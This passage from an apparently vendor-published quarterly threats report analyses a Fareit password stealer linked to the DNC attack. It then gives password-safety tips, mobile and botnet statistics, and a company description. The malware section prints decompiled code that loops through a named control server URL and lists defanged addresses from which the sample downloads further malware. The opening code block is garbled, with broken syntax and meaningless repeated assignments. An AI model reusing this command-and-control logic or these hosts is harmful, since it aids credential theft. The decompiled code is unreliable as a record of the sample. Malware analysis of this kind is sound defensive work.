        sub_H11604(u6, 0);
    }
    else
    {
        Dword_R11605 = sub_H8155E(*(Dword *)(a1 + 8));
        if (char) off_R11603 + (char) system_info_sub_H0480
            if (v3 == 0)
                
                local_H11605 = local_H11605;
                local_H11605 = local_H11605;
                local_H11605 = local_H11605;
                local_H11605 = local_H11605;
            else
                
                local_H11605 = local_H11605;

                local_H11605 = local_H11605;

                local_H11605 = local_H11605;

                local_H11605 = local_H11605;
            
            return *(Dword *)(a1 + 4);
        }
    }
}
```
Network activity in the DNC attack
Let's look at two snippets of code from a Fareit sample likely used in the DNC attack. Each control server address is called in a loop. It checks for the “STATUS-IMPORT-OK” string in the control server’s response. The loop will go on to the next URL if this response is not received.

```c
for ( i = (int)"http://wilcarobbe.com/zapoy/gate.php"; *(BYTE *)i &amp; 0x1; ++i )
{
    *(DWORD *)(a1 - 20) = 10;
    while ( i )
    {
        *(DWORD *)(a1 - 24) = 0;
        u5 = sub_404360(i, *(LPSTREAM *)(a1 - 20), a1 - 24);
        if ( u5 )
        {
            if ( *(DWORD *)(a1 - 24) )
            {
                u5 = sub_h03804(u5, u6);
                if ( u5 )
                {
                    u5 = sub_405380(*(LPSTREAM *)(a1 - 24));
                    if ( u5 )
                    {
                        u5 = sub_405380(u5, u4);
                        u1 = u5;
                    }
                }
            }
        }
    }
}
```

Figure 70: This subroutine found in a Fareit sample likely used in the DNC attack is responsible for connecting to different control servers in case the current URL is unresponsive.

The Fareit malware likely used in the DNC attack references multiple control server addresses that are not commonly observed in Fareit samples found in the wild:

The Fareit sample likely used in the DNC attack can download additional malware from these locations:

- hxxp://one2shoppee.com/system/logs/xtool.exe
- hxxp://insta.reduct.ru/system/logs/xtool.exe
- hxxp://editprod.waterfilter.in.ua/system/logs/xtool.exe
Policies and procedures

You can take several steps to avoid infection by threats such as Fareit.

- **Create strong passwords and change them regularly.** The longer and more varied a password, the stronger it is. Incorporate numbers, uppercase and lowercase letters, and special characters. We also recommended changing passwords two to three times per year, and immediately after any breach. If this sounds like too much to track, consider using a password management tool.

- **Use different passwords for every account or service.** This prevents access to other accounts and services even if one account is compromised.

- **Employ multifactor authentication.** In the event of a compromised account, the attacker will not be able to access the account until the next authentication factor is verified.

- **Do not use public computers for anything that requires a password.** Avoid using systems in coffee shops, libraries, or other public Wi-Fi locations because those networks are susceptible to keystroke-logging software and other types of malware.

- **Be extra cautious when opening email attachments.** This is a big one! Do not open any strange-looking attachments or click on links from suspicious or unknown senders. Even if the attachment or link is received from a friend, make sure that the email or social network post does not look questionable before clicking on it. This person may have already had their account compromised.

- **Install comprehensive security on all devices.** Practice basic security hygiene such as keeping security software up to date. This simple step significantly reduces the chance of being infected by Fareit or other malware.

To learn how McAfee products can help protect against password stealers, click here.
Threats Statistics

Malware
Incidents
Web and Network Threats
New malware counts rebounded to the quarterly average we have seen during the past four years.
**New Mobile Malware**

<table>
<thead>
<tr>
<th></th>
<th>Q1</th>
<th>Q2</th>
<th>Q3</th>
<th>Q4</th>
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<td>1,500,000</td>
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<td>4,500,000</td>
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<tr>
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<td>500,000</td>
<td>1,000,000</td>
<td>1,500,000</td>
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<td>2,500,000</td>
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<tr>
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<td>4,500,000</td>
</tr>
</tbody>
</table>

**Total Mobile Malware**

<table>
<thead>
<tr>
<th></th>
<th>Q1</th>
<th>Q2</th>
<th>Q3</th>
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<td>16,000,000</td>
<td>18,000,000</td>
</tr>
</tbody>
</table>

Mobile malware reports from Asia doubled in Q1, contributing to a 62.5% increase in global infection rates. (See next chart.) The largest contributor is Android/SMSreg, a potentially unwanted program detection from India.
During the past three quarters, new Mac OS malware has been boosted by a glut of adware.
Ransomware rose especially due to increased numbers of Congur ransomware attacks on Android OS devices.
New Macro Malware


Total Macro Malware

Incidents

Publicly Disclosed Security Incidents by Region
(number of publicly disclosed security incidents)

Top 10 Targeted Sectors in 2016–2017
(number of publicly disclosed security incidents)

Threats Statistics

Top 10 Sectors Targeted by Region in Q1 2017
(number of publicly disclosed security incidents)

Top 10 Attack Vectors in 2016–2017
(number of publicly disclosed security incidents)

Web and Network Threats

New Suspect URLs

New Phishing URLs

In April, the mastermind behind the Kelihos botnet was arrested in Spain. Kelihos was responsible over many years for millions of spam messages that carried banking malware and ransomware. The US Department of Justice acknowledged international cooperation between United States and foreign authorities, the Shadow Server Foundation, and industry vendors.
Top Malware Connecting to Control Servers in Q1 2017

- Mirai: 83%
- Wapomi: 9%
- Others: 8%

Top Countries Hosting Botnet Control Servers in Q1 2017

- United States: 39%
- Germany: 24%
- China: 3%
- South Korea: 3%
- Netherlands: 3%
- Russia: 5%
- Japan: 5%
- United Kingdom: 5%
- Hong Kong: 10%
- Others: 2%

Top Network Attacks in Q1 2017

- Worm: 24%
- Denial of Service: 23%
- Browser: 20%
- Brute Force: 12%
- SSL: 8%
- Malware: 7%
- Others: 6%

About McAfee

McAfee is one of the world’s leading independent cybersecurity companies. Inspired by the power of working together, McAfee creates business and consumer solutions that make the world a safer place. By building solutions that work with other companies’ products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection and correction of threats happen simultaneously and collaboratively. By protecting consumers across all their devices, McAfee secures their digital lifestyle at home and away. By working with other security players, McAfee is leading the effort to unite against cybercriminals for the benefit of all.

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